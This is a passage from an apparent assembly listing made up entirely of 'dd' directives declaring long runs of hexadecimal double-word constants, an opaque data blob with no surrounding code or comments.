0F3757EBEh, 6A2895A6h, 0C0C29D0Eh dd 0FFDF631Ah, 0DB818076h, 0D43B2EDEh, 0D0F801A0h, 34613FD3h dd 0FC11ADECh, 3D01C088h, 904C57DCh, 8FD130C1h, 0AD172400h dd 0B4B10231h, 5688A089h, 0FF1C0074h, 6B30A9F3h, 3A0901B2h dd 82E2A485h, 7403E008h, 9180040h, 6584741Eh, 264B8B00h dd 0B30EFFE1h, 921303BCh, 2958F932h, 0E75462E0h, 1B656B00h dd 22C1F25Ch, 7530F263h, 0A0C0FE1Eh, 954AF6h, 8EBF81CAh dd 0A79917B3h, 352DBE01h, 6DD8E194h, 271FBDE4h, 0E400CEF0h dd 60390A59h, 27EA1A00h, 1550FC6Ah, 0E58302A8h, 113173FFh dd 7E40E476h, 553B6BDh, 0D6B723BFh, 1218D114h, 61D360E0h dd 8C0E94A8h, 81712F1Fh, 0A5372042h, 9CA8A08Ah, 0EAC65AD2h dd 7BF3013Bh, 3205A248h, 2F59C90Ch, 0F51EEC00h, 9D94BD9Bh dd 0F139A000h, 954E3F47h, 0D33C11A8h, 87601980h, 30DC3353h dd 9757AE16h, 78839000h, 0F66C282Ah, 0ED5D1934h, 8747189Ah dd 0B6CA987Eh, 0B4817335h, 0A2FCB008h, 0FDBB07D0h, 60F2BEC8h dd 78B27DACh, 730064E6h, 0B6C6E91Ch, 84F8ADh, 0A0D7D454h dd 25EB98A9h, 0E069CA00h, 851BAE3Dh, 22081DB1h, 2E350714h dd 8111B0E3h, 2D02E8C6h, 481ACDABh, 54908071h, 9CC8D7h dd 25941C0Bh, 0EA227512h, 147CAB0Fh, 0A265A081h, 2F3C0D16h dd 0AF54F494h, 928F803Eh, 51FFC3B8h, 606E01D6h, 0E9F44E32h dd 4A90708Ah, 0A318A900h, 10B372E0h, 7F4D3FB2h, 8027919Eh dd 9521CFB8h, 2900C923h, 0E4FCF680h, 0B834Bh, 5618F4E1h dd 0A3224052h, 1A642095h, 954E1769h, 0ADBCA640h, 0EEA21201h dd 833F2A6Ch, 1D53430h, 0CE7A410Fh, 47BE7C0Ah, 3C290D0h dd 19003020h, 9EAAA5EEh, 6C809E3h, 361BF2EFh, 880054CCh dd 4AFB118Fh, 0BA643Eh, 0F912B654h, 2E748C48h, 0F652B713h dd 91C4E0h, 62D1D54Ah, 78ABE495h, 98BF9209h, 4EC0C03Bh dd 0E7280759h, 21FE7655h, 0EC820E1Bh, 0D65B4BF7h, 32AE7C00h dd 38B34320h, 0A28019ABh, 0B1D7A512h, 0B0056A0Ch, 72704176h dd 48FD2CB0h, 2909801Bh, 28D8AEDFh, 4D7D1203h, 1788C1Ah dd 0A17B0310h, 60C95B5Ah, 2B00C85Ah, 872635DFh, 14DBD055h dd 0FC94BAE8h, 0C0156600h, 39AF1A5Ch, 1F01FA72h, 7806E3C4h dd 3BE2EBh, 0FC0EAD4Ch, 0E60054BCh, 250CD7E8h, 3FC632A3h dd 0BE008AB0h, 72BFB2E4h, 0AE2E2F02h, 148BA476h, 1F10E031h dd 0F5A007B9h, 109C123Ah, 90EB46F9h, 3EB48A04h, 0DC94157Dh dd 0C232DA80h, 0E81D6343h, 3BF922CFh, 798050C1h, 25774235h dd 0C8C3093Dh, 0DBE454C0h, 0D0B8962Eh, 0D04FE884h, 0AF30FCA8h dd 0ACA8D721h, 0C002047Dh, 0DB6E9748h, 8B61C377h, 0B6891284h dd 0C21C900Eh, 21005CF1h, 3953E17Bh, 96C7D13h, 249926B1h dd 4700B872h, 3CB07822h, 0F2A3F3h, 54E2907Eh, 0F98A6625h dd 0E126EF2h, 34F06D2Fh, 6FA50131h, 0DB78077Ch, 728028C1h dd 0EA6C7300h, 0AECE85D7h, 62FF09A9h, 40A03650h, 0FD131DC1h dd 402AC8C0h, 0F23ABAE7h, 79910215h, 0D9D5AC0Bh, 0A8994440h dd 0B881C800h, 3F631F98h, 678803D8h, 0BB323476h, 59CA6A8h dd 0A95D2716h, 0AB8D5480h, 0CC593D76h, 96AAF384h, 0BD0DC05Ah dd 0D8F356A2h, 137A19E6h, 45304B60h, 9D40460h, 0DDB5BFAEh dd 0E2E97418h, 0ED3EF0Bh, 0F63C04F9h, 762CAA80h, 90816050h dd 87686CEDh, 0D8C796A0h, 379009C0h, 62771665h, 0C8F629D4h dd 62F7C363h, 8607D2Fh, 0B30162AEh, 0CC8E0D2Eh, 24806AD4h dd 0B866F6EDh, 733FF3E3h dd 0F83180ACh, 65A8E2BAh, 0C3160758h, 0F3A7013Eh, 4F06DF7h dd 15E2CA90h, 576096F0h, 4279B770h, 0E4E85894h, 16C05B00h dd 596EAB64h, 927ADEF6h, 58E60731h, 0F9F42A06h, 60AA0AAEh dd 9E4C583h, 0BC42914Bh, 0A90064F0h, 23435BB2h, 3B77CA5Eh dd 0E10283A3h, 8B4DBF4Eh, 0ADFC0740h, 0A8008C4Eh, 0E43513BDh dd 487E0E76h, 3E401FA8h, 0C4A71505h, 0EC80201h, 0A3B385Fh dd 95D65D4h, 8774D079h, 48307010h, 0E95B9B72h, 9E095002h dd 0B69F407Fh, 0E35E0037h, 0CFD8D1FFh, 0EC910E4Ah, 5E3067CEh dd 0E521FA60h, 0E89A48AEh, 0C9200A3Ch, 52375007h, 3BB03479h dd 6C48E1h, 0D5876E20h, 39D2EB9Ch, 2C6123Ch, 66321EDh dd 0B9604001h, 0CC0D287Fh, 0F9DE7494h, 68F849FEh, 3FFC022Eh dd 68681BC9h, 0E65F30BCh, 2EB9008h, 3F3CAFC4h, 8EF75060h dd 0ECDD3300h, 0E8BCC245h, 0AF1E00F5h, 716FBD65h, 0A5029948h dd 6D262B56h, 270D4ADh, 0D596FA37h, 0EA44B47Eh, 0C20048EDh dd 1D0C591Eh, 0EC92DE29h, 9958AB13h, 0AE07A816h, 0AA608489h dd 0F238B3EDh, 0A31E07DFh, 701ADC81h, 0FC3F89F5h, 271C23F6h dd 7FC0476Fh, 5F425CA5h, 64831873h, 16D4107Dh, 7AF55000h dd 57AB6662h, 84A30267h, 0D7DCBFA4h, 2BB7EEE0h, 7C78FF00h dd 0EDCD0249h, 0DED4FB40h, 62990028h, 0FBA59D64h, 0A0003D04h dd 0BB73D570h, 0A36E05h, 0B336D10Bh, 2E85D98Bh, 4C1F83F0h dd 5D00C74Fh, 9290CB5Ah, 0C17C3E3Eh, 2CF2B001h, 0C453A641h dd 1B7D60BCh, 3062C800h, 0F555D69Eh, 0ACE160ACh, 0FA9B8FFFh dd 4B132E00h, 9FFDC0E8h, 555C0009h, 29C4AFE7h, 0BB00B5DAh dd 0B2549CDFh, 22FC1E2h, 49F40BD0h, 9CA03F8Fh, 0E5D781D6h dd 0CE8C310Ch, 0BA7073h, 6FEA100Fh, 232409B9h, 0FD3E2C18h dd 28BF40h, 4FCE27FFh, 0C8905A31h, 9E193Bh, 9B7742E9h dd 786BF5A2h, 91ED00B4h, 0EFAD237Ch, 3119781Eh, 4179BE9Dh dd 39017C0h, 6721F6A5h, 5698D2ABh, 521FE85Fh, 0C940A29Fh dd 0FE972BD0h, 0B096002Fh, 0AE805403h, 0BC00A1DCh, 4010A625h dd 0B97FD46h, 0EEB9A04Ah, 5519C000h, 6500761Ch, 0F27961CFh dd 0ED5228h, 0D559AF5Dh, 369B90BEh, 0E850A00h, 1A84C5D6h dd 9AFC89h, 0F88819B2h, 67D162C9h, 30931701h, 268A21B4h dd 1970ECCh, 79AAEC47h, 963977C0h, 0A0E82E8h, 0D6E6A0FDh dd 24E4C7AFh, 1E9D3Bh, 0B4625AC5h, 0DC0729B2h, 5D4277BEh dd 1EE885D0h, 0E55002Ch, 0D82FB698h, 0F2007E56h, 37BE9016h dd 7559CFh, 0A89618EFh, 0E2733D05h, 191DE773h, 0D0801404h dd 2E8EF2D6h, 0C2BE1CD1h, 0D262438Fh, 51A2DE53h, 1E013D60h dd 0BCBD9300h, 32A1EDB2h, 9E2C008Fh, 0C191B69Ah, 700CDB3h dd 0A8BB837h, 0E728225h, 0D942F10Ch, 4CD255E0h, 140333C2h dd 3DE7F779h, 0A1A590ECh, 60F00E4h, 9DDDDCDEh, 90008C82h dd 9B1568A7h, 28E2CEB8h, 0E390AAE4h, 220D8h, 2A081DB7h dd 976FF949h, 8400C0FEh, 34352CD6h, 78C77Ah, 87C3CA38h dd 0BFF95FB2h, 4CD8D309h, 0DB1C005Bh, 4DC8EDh, 0AFD2815Ch dd 506C1A64h, 0C991DC00h, 0F4CBC38h, 708074D3h, 615AE010h dd 5FF456D4h, 30C02006h, 2EA17303h, 0B83F49E7h, 5AE866h dd 0F3B9B637h, 55AED129h, 0BB38081Fh, 0E2BFE900h, 78630F5h dd 0F14C7E61h, 849630EDh, 0A2076BF6h, 31CFFAAh, 0C81478D0h dd 5C3D0018h, 761BDE97h, 3001288Bh, 0EAD6C9D0h, 88407770h dd 1290F3h, 0E1A465F4h, 509AE5AFh, 99044B00h, 27F3D4F6h dd 1ECE2424h, 0D6DE0B18h, 1D9C0C8Ah, 0F0FD0F2Ch, 4E8FD740h dd 8A00AA36h, 9364C60Ah, 7470D41h, 0EDB0D060h, 9F9A5083h dd 2C00204Ah, 6EE8E4DCh, 3214D8Ah, 47D1F159h, 248AEA26h dd 0FE091840h, 0F8E4970h, 0A47BB34h, 0E2957E42h, 971DDC48h dd 809FCF00h, 674CD312h, 0CEF400AEh, 0FA966B33h, 560EB717h dd 0A04D45AFh, 0B07AD1CCh, 557E5Ah, 8CCE1980h, 8DB5338Bh dd 32833414h, 80203C98h, 71E144D7h, 1DDFFDB0h, 5D7E1852h dd 5680FC0Ch, 4C365DC8h, 20ED0EA0h, 16011117h, 471A22BEh dd 27F82C19h, 4D4E009Bh, 883A57E7h, 4601932Dh, 2B6EBFB5h dd 69D80E3Bh, 8E45Fh, 0EE4370D6h, 968218D2h, 0EBC958h dd 84311455h, 45E628h, 0D3CA223Ch, 2A601EDh, 1798387Fh dd 2DF7095h, 8C6BE66Eh, 0B8601C70h, 2891C262h, 3CC97500h dd 0B478F0h, 28179D76h, 12D364ADh, 59007976h, 2E982451h dd 0AE264Fh, 335D58A7h, 0BE2D4DEAh, 0E89053Fh, 60B1C79Eh dd 0C0E14B81h, 0AFFA00F3h, 0F96AEBD8h, 53003ED6h, 35641D45h dd 0B8BE07A6h, 59DC8056h, 90DC0F47h, 0D2804D5Fh, 0C41941B2h dd 7732CA04h, 0A5BCA274h, 4A2C3300h, 0E12067C8h, 0E3EBB302h dd 800A1D3Fh, 0D1BDFA8h, 12750AA3h, 0ECBEAFh, 8D418AFDh dd 0AB001610h, 54C1E59Ah, 382943CCh, 0FF813E80h, 2B20CB9Dh dd 6AF1E077h, 0AC19B0Ch, 76071122h, 0AFED0073h, 95E43B8Ah dd 70C0CED1h, 0CF103358h, 669E12FDh, 0D97C4060h, 90A50DF5h dd 179AC201h, 679E0534h, 0FCC71040h, 81B1C70Dh, 87AC0338h dd 417A07FFh, 4329C752h, 0D59F10h, 62B3CD1Ch, 0CC743407h dd 7E51A900h, 0D87F026h, 6A1500E7h, 0B1B3D68h, 1C0044BEh dd 103B5AB1h, 0D23D9h, 0E99DBF4h, 62EBCF2Ch, 59B4A835h dd 1A009A12h, 103DFEB1h, 43691485h, 620EB02Fh, 204340Bh dd 271E0530h, 0E34848h, 6AD29414h, 0C8C0CAA5h, 48EB81A6h dd 380600C6h, 0DCD4B99h, 5B006482h, 0E2524AA8h, 3D1B0B43h dd 6B07E46Ah, 0F4C1DDh, 0A56D36E7h, 56617190h, 0E4A78B18h dd 0F8266A20h, 0C9471EFh, 5E346543h, 3186E20h, 0A590E061h dd 30A6FCEEh, 0A930DE1Bh, 7404B976h, 0B67A624Dh, 0C418CAC6h dd 293740h, 64CF8B79h, 66183C0Eh, 83BF8D0Fh, 0CE4C0690h dd 7AF95982h, 63A802D9h, 2F85256h, 5C85D0A3h, 4DF42118h dd 60154389h, 21905130h, 0D73038AAh, 7DB7D161h, 26A5039Ah dd 33A7CF59h, 0CDEE410Fh, 0E02DA3C5h, 487CD8h, 0B50D395Fh dd 0A57DAC64h, 25430A1Fh, 34245C01h, 1CC1B188h, 71096098h dd 0AC007D96h, 45B4F5A8h, 0EE5E69h, 3C21E684h, 0C39B1EC9h dd 1F0043F8h, 5BC6A16Bh, 50FCBA91h, 264CC15h, 712523C4h dd 0D640E546h, 0FE736950h, 68004F77h, 633449C2h, 2C7072CDh dd 761D56Bh, 20269182h, 4707E2CBh, 50D28C07h, 0A7515890h dd 0EBC4456Bh, 335C1C3Bh, 2F7C06Dh, 0F863E053h, 986959h dd 77DB661Dh, 60E9A9h, 0CC049571h, 80B8E4BDh, 8FA0EC4Bh dd 32CE6AAh, 0C2BBB42Dh, 7EFA5F59h, 494A0AFh, 0DAA70AFAh dd 0D94F452h, 0AF260FC6h, 7C02B247h, 80CE2577h, 5EC3A7C0h dd 3790CD1h, 432975E5h, 0CD712284h, 440808F3h, 0DC442F7Ch dd 0DBEB44E0h, 0BFF84D89h, 0B19E2C93h, 7D57005Bh, 27BB83B7h dd 6D940800h, 4189B573h, 5C76001Fh, 5C4E8EFh, 827BBE45h dd 0BDFB0200h, 0D9A82E1Ch, 26220088h, 5E7A1467h, 0DC00537Fh dd 5156DFFCh, 7E3EF0h, 0ECD03AC0h, 0D817B937h, 184FCA00h dd 7560E8DEh, 1D040A43h, 0F16110h, 0F2EA08AFh, 0DE009FEBh dd 0B3442AD8h, 462736h, 37EF7D5Eh, 82ACDBEDh, 420F3F1Eh dd 1318051Eh, 0DAF469h, 11E6CE6Ch, 0B8E0A850h, 4459DF00h dd 0C07D6792h, 3ED0120h, 5B04F2FAh, 0F551F4C8h, 3AF45900h dd 0E9FBFD66h, 0D9420EAh dd 92B8C706h, 5E0076Fh, 0DA29648Eh, 0D143C075h, 1907F5ACh dd 0CF2D5F0h, 2B22C0CFh, 6DB01Ch, 0A19C5505h, 0C013ADAEh dd 0D300EF7Eh, 5FED5D4Fh, 0E5DF44h, 77C9099Ch, 0BAB9F721h dd 8017B43Eh, 2B99D167h, 601F9Dh, 87225BF3h, 0D32C91Dh dd 9EA0B00h, 749AB514h, 979600F5h, 9F7F2127h, 3209F606h dd 0F8406899h, 0DF031E2Eh, 8A43006Fh, 14D935BCh, 2A103600h dd 0B1F69C2Dh, 1FBAFE1Eh, 80F7D396h, 56D2AA50h, 0A00AD48h dd 5365979h, 7A1EC5h, 16DDC1B7h, 3DED6A02h, 0C2279E03h dd 0A8333909h, 5C6C542Ah, 0B8008A97h, 0B471C8DAh, 4C0A5E07h dd 0A8388D53h, 32DD4403h, 75C8C8DCh, 3B97E0A9h, 2338D5DEh dd 2D8B9580h, 8618114Dh, 8500B3F2h, 0ED50D44Ch, 0B57116h dd 59FA8DBBh, 0A2BCE755h, 27E0CE4Eh, 5D6D00EBh, 0A0797DD9h dd 0AB3ED557h, 2E00F81Eh, 0D40FE273h, 666DE7h, 0D69E312h dd 54DCF1CBh, 0C93938h, 0E2B04341h, 2A05C5h, 0FF6F4A37h dd 53FA44B2h, 0B5979800h, 43FDC7B1h, 156A0160h, 2F063CC4h dd 2E45E031h, 5F2A6F00h, 6E1D3DEAh, 0E202004Ch, 0B7E66661h dd 0EF009BB4h, 5234CAF9h, 773D426h, 68482088h, 0A9F1E0D6h dd 0AB24C17Ah, 0DC009CE0h, 862A01CBh, 0F44F0088h, 320994B2h dd 42007EFEh, 0FCDDDEBh, 0CA2C5Ch, 0E36E58D7h, 4B3DB9A1h dd 5B006B72h, 80C641FEh, 848B32h, 3127FCBh, 0E6CFE1DBh dd 4201C492h, 9F3BCABDh, 0D055801Fh, 0F84EB380h, 956C001Bh dd 0DAD067F5h, 550004E5h, 48DF897Fh, 0CFC24Fh, 32741FC5h dd 2D34B546h, 0BC9B5017h, 100003ECh, 0D41B2C53h, 917D462Fh dd 0F4008577h, 4B0E8B26h, 78C4ACFh, 302B3C7Eh, 0BB4CBEC3h dd 3E00219Eh, 86FAC787h, 73B8DFDEh, 0A3F005Eh, 0CAC9D5E8h dd 2A1CF281h, 0CBC00745h, 487A9237h, 0B7892B8h, 0D727E4ABh dd 0BDE36C00h, 0F0F7C98h, 0A32B635Fh, 8036791Eh, 3A46F2h dd 0A2175DCEh, 0BAE18E9Bh, 1C4AE200h, 0D99D8D29h, 693004E3h dd 80EDC9F0h, 2FA7B578h, 26AF018Ch, 0A8980BF7h, 1C7D09Ah dd 7B8ECE00h, 612E6AEAh, 97F028F9h, 0C8472ACh, 4B31E098h dd 0F400E6A8h, 201E7327h, 9ABA29D1h, 81700838h, 3BB95AA5h dd 3AEC0196h, 8F4EEA47h, 7FFFF8h, 56584160h, 0C762EDA1h dd 9636F104h, 0A9C0C6C8h, 1C338h, 0D63F55A6h, 3CD84A8Dh dd 0AB099879h, 10E606h, 1FE5F896h, 0CE8F00EDh, 0CB18DA15h dd 0D900B66Eh, 0F73BE42Ah, 0B21D37h, 2CC7106h, 0CFB9A9F6h dd 9E4C2206h, 41E0EABh, 8F4A6E5Eh, 0C85C83E2h, 893EF800h dd 5788EA74h, 0F7EA42h, 6E0D78B1h, 0F17A44E2h, 839E2F1Fh dd 0CE688A40h, 6A935h, 0D277A7D7h, 3D4CE272h, 6724927Eh dd 0B5845C8Eh, 702C93E3h, 0EC2A3F40h, 777E5Dh, 235FC0E3h dd 0F5617EE0h, 72C46900h, 1D71C30Bh, 0C9900C2h, 0DDE5AB8Ah dd 0E700C9E1h, 0DB3F5711h, 73937BFh, 0F7F284EBh, 2F080C2h dd 9C3CB7B6h, 0E4FE260Ah, 764D4400h, 3D33F9Fh, 5CECBA58h dd 88E13156h, 0E4A8D864h, 6BDFB502h, 0C44BAAC2h, 5E510080h dd 0E5A51158h, 7F00B267h, 0DACD7472h, 0E25AFh, 8A1BC8C9h dd 0E047CAFEh, 5E53B000h, 52147EECh, 1E3000FFh, 0D684B4F2h dd 0F139926Bh, 0F2580DAh, 89343FCFh, 28838AEh, 40E8689Dh dd 0D55E0863h, 0B00ECE1h, 70D89B12h, 571ACEh, 0FB07DFF5h dd 43E56F42h, 9EE49A00h, 0AD97DA04h, 0B079003Ch, 9DEC0125h dd 94002E27h, 0DA5615E3h, 3CD2F21h, 0A31ED8F9h, 0C1D0244Bh dd 0B20396E4h, 996C613Ch, 2503D869h, 5DFE89h, 7F128CBDh dd 2E0748E3h, 7DCA342Ch, 0D5D3B200h, 75B68EAh, 0F2B7CDEDh dd 0DF3E9073h, 0CF03F87Eh, 996B80BFh, 8228A9FEh, 0BA000873h dd 23B5B2Dh, 5E505010h, 430016C0h, 0A451E6DEh, 901FE92Bh dd 4001591Ch, 911EA30h, 620050A6h, 4FFF3F13h, 115AC11h dd 1C69530Bh, 9410573Ah, 0A7D828h, 55843B20h, 0C0CF5A61h dd 92DEEF7Ch, 5000FEECh, 0FFC6F8F5h, 2EB88671h, 809C8498h dd 3CFA08A9h, 0BBF60663h, 0F5839300h, 177A6E3Fh, 7F18786Ah dd 3ACD0E94h, 7D4066E2h, 0FA0D80F8h, 0D59FBA00h, 0DD26721Eh dd 3F8B147Fh, 5603D8CDh, 9E0A11BFh, 0D093D4D8h, 87C2609Fh dd 15530F97h, 0E1A09828h, 0A59C5EFDh, 731BE800h, 9BE2BD2Fh dd 0E7D179Eh, 0BC604066h, 3B2E7CD5h, 0A34684Ch, 0B05E95B2h dd 0ABBF8349h, 0D7E6E0A4h, 7F380378h, 76904B3Ah, 8A200398h dd 0BF8951Fh, 503835Fh, 0C8A799FEh, 7DA1429h, 9B885387h dd 9860C067h, 4E3F4A10h, 7F9A01F1h, 3BE102C3h, 38718BDCh dd 3400A1B6h, 0D96E8CAEh, 0A2007836h, 7A06C7EAh, 0ECF4211Ah dd 0BA0A005Dh, 5894C454h, 751FB6E4h, 0F0004E8Dh, 0C96FA053h dd 795E008Bh, 0FFBCAC28h, 0AA074AE7h, 0DE5CBDC4h, 1944D1B0h dd 2438FA5Ah, 9CF96Ah, 0D6E94E32h, 0A1267F71h, 0DF1ECC5Eh dd 9EC36600h, 0EC0822h, 1FBE2A9Ah, 697589AAh, 0AC47A92Ch dd 0D0709300h, 9DA9B36h, 85908BBBh, 2C965C81h, 0CC11ACBAh dd 9F40821Ch, 418ECB7Fh, 544AE08Dh, 6034E855h, 745108D9h dd 2C1D2AE3h, 461DEC8Dh, 97D60205h, 17E1003h, 0C9A10145h dd 0CFACB985h, 0D073D17Dh, 22507E76h, 9E54D710h, 0E28CEB2Ch dd 6FFC3D1Ah, 65D77981h, 0C0BE19B9h, 0A8F0A72Ch, 0C88EB600h dd 636926F2h, 0C3760755h, 43D9D52Ah, 79882E4Ah, 0E00329CDh dd 2158D01Eh, 8C1803C2h, 0F8D85EA3h, 0BC6D6E90h, 6431AC01h dd 95D7ABB9h, 931C4840h, 7E2F142Ah, 0EF005823h, 31D1F164h dd 471EEE13h, 0DDC028CBh, 0FF1C8C45h, 4DC9000Dh, 80D225C4h dd 0C80095BDh, 0C5889415h, 3DA1501Bh, 0BA6082EEh, 99E6B339h dd 0F7AD3C00h, 797D304Ah, 509FECFEh, 0BA9DF8h, 7A0D175Fh dd 0E0B65942h, 2245CF00h, 0F013D9Ch, 80D500A9h, 7C897B39h dd 0A7744F06h, 7EA5C60Ah, 0F487DC88h, 0BA40B1C4h, 389C2Eh dd 72B4EF97h, 8768D13Bh, 0D525E306h, 2314CC1h, 63F675EBh dd 0B48233C4h, 1460669Bh, 203F7E52h, 0DFF40E14h, 9CC0D26Eh dd 54F9952Fh, 0FC649094h, 8C73F98h, 7F21B381h, 0DC044469h dd 0CD005D8Bh, 7602640Bh, 0B0B7AED7h, 4EA306B7h, 814AC0CEh dd 9D46F139h, 809E067Dh, 1F7E9C40h, 71D8A039h, 1EC13CD7h dd 1666340Fh, 0F502D414h, 0E7C0F3E5h, 1CEE7D60h, 3D0075B0h dd 3C6EF775h, 1CD7977Ah, 0BF30D92h, 0D95C2570h, 405A4B00h dd 31ADFED2h, 708185EFh, 47B0FBA5h, 0EB003C18h, 15A2C752h dd 3543E2Bh, 0AA31AB05h, 0F8904375h, 1C00CF24h, 0BED7329Ah dd 4A2FFECh, 9FD60B4Ch, 0C2490FEh, 5260E764h, 168FDC60h dd 0B84660C9h, 0CF53E078h, 3289C601h, 0CB4044EEh, 16518980h dd 1CA1316Eh, 0B268731Fh, 0F8F259C0h, 0E9042BFh, 55DF18FFh dd 0B069A380h, 0DC3B03AEh, 0FA578666h, 8F11E6E5h, 56BF6104h dd 6E1080D0h, 0CFAE6048h, 6F180084h, 0B18D03B3h, 0B2004F59h dd 0D6FDECBFh, 64E36DC1h, 47142962h, 8A804B25h, 0D5A61Dh dd 0C7930A10h, 0FE591462h, 9AD93107h, 7A08CB9h, 7E9F77h dd 49C9838Fh, 6FBC6B61h, 4F452A03h, 0C0E7DE48h, 65F363h dd 57D1C251h, 7FD8950Ah, 147E2C26h, 0D6F2D900h, 2C73F01Ch dd 7CE929Ch, 2075D587h, 57F69DABh, 4C856D0Ch, 0D3307Fh dd 16241254h, 0EEF7AB40h, 0E532F800h, 4DA2202Eh, 0C788A8A9h dd 53424ACh, 0ADF800A3h dd 0DFDEEA9Bh, 0DC263300h, 863FB912h, 0FFBA1CC8h, 801BC027h dd 0E80D4B7Fh, 5A482C00h, 0BB34DB7h, 8AC3005Bh, 429F3239h dd 7C0006E6h, 0A5D865A0h, 30030728h, 1811AF0Ch, 1473F8F7h dd 6E002070h, 0F0CCD2E9h, 0A3B0D9h, 9A11E267h, 0C2F25DBDh dd 69543403h, 98ABF4FFh, 5C35B5FEh, 680017DFh, 63DC464Ch dd 210EC081h, 20D3EB0Ch, 6EC47A37h, 75360042h, 1112C9E7h dd 0E000553Bh, 3E5170Fh, 0F0EB4Ch, 6C47BCF3h, 0E7332C87h dd 4EB44B07h, 35D0F89Dh, 1C6DC5A9h, 803F1718h, 62F0A36Eh dd 34030A47h, 58E60514h, 9C87F0E8h, 4FED2803h, 0F73118E0h dd 0E7D25661h, 0FBB889FAh, 5958BF00h, 878C769Dh, 0A78D00A3h dd 92D87119h, 0F4003F63h, 0E0B949E6h, 0DCADB6h, 0EFDA3D0Ah dd 1ED8A37h, 1ED0091Dh, 0A50DF902h, 8CE080E5h, 9776B7h dd 0B96C035Bh, 7FAEAF74h, 1CE23339h, 0AC41A58Dh, 0EBBF9D5h dd 58005022h, 2406BAFFh, 0FA0095B9h, 18DBB863h, 74016927h dd 31F8BD2Fh, 0F7E41650h, 0A2A51400h, 7BF7453h, 0DD390F2Ch dd 465F4A5Eh, 0B8E7DFEDh, 44CC5900h, 8371C91Bh, 0A8410165h dd 3220EA94h, 268C4064h, 5600F3A6h, 0EF73F70Eh, 482C9FA2h dd 950B44D4h, 4B00D991h, 1B1D0B60h, 8B4B350Eh, 8AB40045h dd 166F80Eh, 0E4D333F6h, 0CC506F87h, 62035772h, 38E08B5Ah dd 2BBDF0ABh, 0F0AE243Bh, 9DD5007Ch, 1970F664h, 8853B780h dd 0D0A449BDh, 42C658h, 8D2193BFh, 694A041h, 0F2B70E44h dd 990748F4h, 4AD59575h, 0B0D3E260h, 1C4726DFh, 3DFD00ADh dd 0A17B5010h, 0DC002C90h, 9992B91Dh, 26218D9Eh, 0F76184h dd 35A649D2h, 0A8040624h, 37501A2Fh, 0ED7DC880h, 9BFE006Ch dd 0C5D2695h, 0F8007928h, 0EC52DEB1h, 582D73h, 0E033FE7Ah dd 530BE787h, 9E0A1C3Dh, 0CF404FB5h, 0BFA3399Bh, 0E30139DCh dd 68D59400h, 0B083C636h, 224CBCF8h, 37DA0057h, 1F03A4CCh dd 4AD200ADh, 939843E1h, 0CA1DB28Dh, 0E7C552ABh, 9400D5F3h dd 1CE4EE2Eh, 0A2E90080h, 7C26C6B4h, 0AF5E68F4h, 89009085h dd 0CA190E1Eh, 8CC90060h, 0C79F91D6h, 0E60033DCh, 929E8B87h dd 0F47BC8h, 4895F3FDh, 7EBA13B9h, 0EBF93000h, 75C19327h dd 907224CBh, 0D7A58B04h, 9C40F180h, 0CD0788D3h, 8C15FBC2h dd 95891E40h, 5BEA3AA4h, 0B2BFA200h, 734ECA64h, 0D8B61A0Fh dd 0E5282070h, 128239AEh, 0FF2B90Ah, 1940ACF0h, 4037A927h dd 15B4BD00h, 796AE3CDh, 0ED293EA8h, 41A1F689h, 48937400h dd 0D800CD01h, 7C49831Ah, 2127EE8h, 0D63C21DBh, 28486FCCh dd 498448F0h, 5400F89Dh, 0D1C80935h, 8700A286h, 0B6CF136Dh dd 0F8271EFh, 8E586A52h, 0B5BB4660h, 0F1009936h, 0FD19BDA9h dd 743C2B61h, 24D558B7h, 108E007Fh, 56A8BAF6h, 0E0BF40C8h dd 0B51D17Fh, 0DAAA682h, 0A9156C80h, 671CF0C0h, 24C175AEh dd 28E15E59h, 0F8931DE0h, 5BFC9Dh, 0C1CC8F57h, 0E2DD3D87h dd 45AEEC00h, 9EE46F51h, 282202B8h, 0E7F5555Ah, 50F99CC8h dd 8B917C09h, 62FE03F8h, 84AE0043h, 65078F63h, 1E077555h dd 0B4A7044Fh, 24A5321h, 3AE660E2h, 545928ACh, 0F44C9008h dd 63860356h, 67975D03h, 0B6A75CB0h, 2A41648h, 52C9B92Fh dd 305160B8h, 4DEB028Fh, 0D83F4EE9h, 15BE8C8h, 7199B501h dd 0B99F7847h, 0FCD0A5D1h, 92157165h, 4950BC8h, 670333D0h dd 40D7668Fh, 9244487Bh, 0AB67C916h, 18F1D40Ah, 1863EA00h dd 0D09958Fh, 0BACD54E7h, 6B618018h, 9866CE5Ah, 7D8907FAh dd 2911E7D9h, 0F96E0420h, 28004E15h, 4063628Fh, 7A4DE490h dd 0D9D4310Eh, 41AE65B9h, 80AA3374h, 0CF5F0698h, 1EF2DC0Dh dd 8061A535h, 18B76B4Ah, 0DD0090DAh, 0D7203C86h, 2EA7EBh dd 87E86C1Ah, 7149E5CBh, 0EE77CF00h, 0CEEBC24Ch, 0AF1E00F4h dd 13700127h, 1B009945h, 0E7C645Fh, 17EFF5h, 67E3A4A1h dd 852468Fh, 93EE1F00h, 185CDA9Ch, 0E770FD32h, 33DE0074h dd 0CD49B81Ch, 0C756041h, 387C9CA0h, 1B8BF300h, 7A2380EBh dd 614C0F07h, 5FFCF9B5h, 0FC608EC5h, 480E18C2h, 0D2C8B087h dd 2840EED0h, 7F126786h, 3043B084h, 501B61BCh, 1DE72CD6h dd 29BA5B55h, 0E9730094h, 25CE6E1Bh, 134FEF00h, 0C3996328h dd 0D58C5A9h, 5CE04012h, 0E2CE182h, 28F69516h, 0CC78AC03h dd 0C9881001h, 66DC1037h, 7EC15688h, 5BFC8B1Bh, 0B74486BAh dd 1BFA9Ch, 0CB46A164h, 2E8DA8A5h, 6495D00h, 0C1B240D8h dd 18087320h, 2CEACFABh, 6501241Dh, 427A9E0Eh, 2882DBDEh dd 0D580E50Ch, 0C6003C44h, 9F7BA771h, 6AF3031h, 0B0478AE7h dd 5B0721AAh, 0D5EA779h, 40C6488Ch, 253DED78h, 0F0380086h dd 45CF2A0Eh, 0BC5F000Ah, 0F8BCB2Ch, 0D048DFAAh, 47DE00B2h dd 0DCD5BD24h, 8699004Dh, 91301A9Dh, 405870F9h, 9660743Ch dd 9D078021h, 727CC1h, 67B3F2ABh, 0E3926D9Fh, 0B94DDD01h dd 890FD1D5h, 51E83186h, 0EB0018DBh, 5F641EF3h, 2E3634A6h dd 18B8240h, 3C0ACAD1h, 8A21CCBEh, 0DDDCEF1Eh, 0B94039D8h dd 331500B5h, 0D01756A1h, 9CD5E95h, 4CFC2144h, 0FE640033h dd 4BCA23B8h, 0CBFC71BEh, 881B4830h, 338E4C42h, 0FCA1D98Dh dd 5F01FEE0h, 39751A06h, 8008B257h, 1C31D10h, 